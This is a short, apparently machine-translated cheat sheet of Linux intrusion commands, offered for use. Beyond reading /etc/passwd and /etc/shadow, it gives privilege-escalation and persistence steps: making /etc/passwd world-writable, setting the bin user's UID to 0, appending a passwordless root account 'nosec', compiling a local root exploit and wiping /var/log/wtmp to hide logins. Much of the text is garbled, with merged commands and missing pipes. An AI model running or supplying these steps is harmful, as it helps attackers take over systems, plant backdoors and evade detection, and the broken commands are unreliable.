Linux Intrusion Common Command assembly

CAT/ETC/PASSWD View Linux User Cat/etc/shadow View user password requires root permission

CAT/ETC/PASSWD View Linux Users

Cat/etc/shadow View user password requires root permission

Cat/etc/sysconfig/network-scripts/ifcfg-ethn N represents the network card number to view the IP information of the network card

Ifconfig View native IP information

cat/etc/resolv.conf View DNS Information

Bash-i in a bouncing shell to visually display commands

Bash prompt: When you enter as an ordinary limit user, you usually have a prompt similar to bash$. When you log in as root, your prompt will become

bash#.

System variables: Try the echo "$USER/$EUID" system should tell you what it thinks you are.

Echo 1>/proc/sys/net/ipv4/if_forward is not you write wrong, should be echo 1>/proc/sys/net/ipv4/ip_forward,

Vim/proc/sys/net/ipv4/ip_forward Bar, the default is 0, that is, the kernel does not carry out packet filtering, to 1, let the kernel of the packet filter processing!

Netstat-an grep LISTEN grep:80 View Port

Service--status-all grep running

Service--status-all grep http

View Run Service

Lsb_release-a View System version

Reboot SSH service:/usr/sbin/sshd stop

/usr/sbin/sshd start

Ssd_config file.

Passwordauthentication No,

Change it to

Passwordauthentication Yes

Remote SSH to log on

Otherwise show access denied

Where Usepam yes may be used to establish Pam login, such as SSH from other Linux hosts to the server and, if closed, cannot be opened.

SU's rookie usage

First Chomod 777/etc/passwd

Then modify the bin user's GID and uid to 0

Then passwd set the bin password

Then Cp/bin/bash/sbin/nologin

Then Su Su-bin can go to Rootshell.

The principle is that when SSH does not allow root to log in with the SSH terminal, we do not know the root password, a very rookie practice

I can do that.

Sed-i s/bin:x:1:1/bin:x:0:1/g/etc/passwd

GCC Prtcl2.c–o local–static–wall

echo "Nosec:x:0:0::/:/bin/sh" >>/etc/passwd

echo "nosec::-1:-1:-1:-1:-1:-1:500" >>/etc/shadow

Empty last record cp/dev/null/var/log/wtmp

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DD If=/dev/zero of=yourfile bs=10m count=10 establishes a 100m large file to use when using Linux Kernel <= 2.6.17.4 (proc) local Root exploit.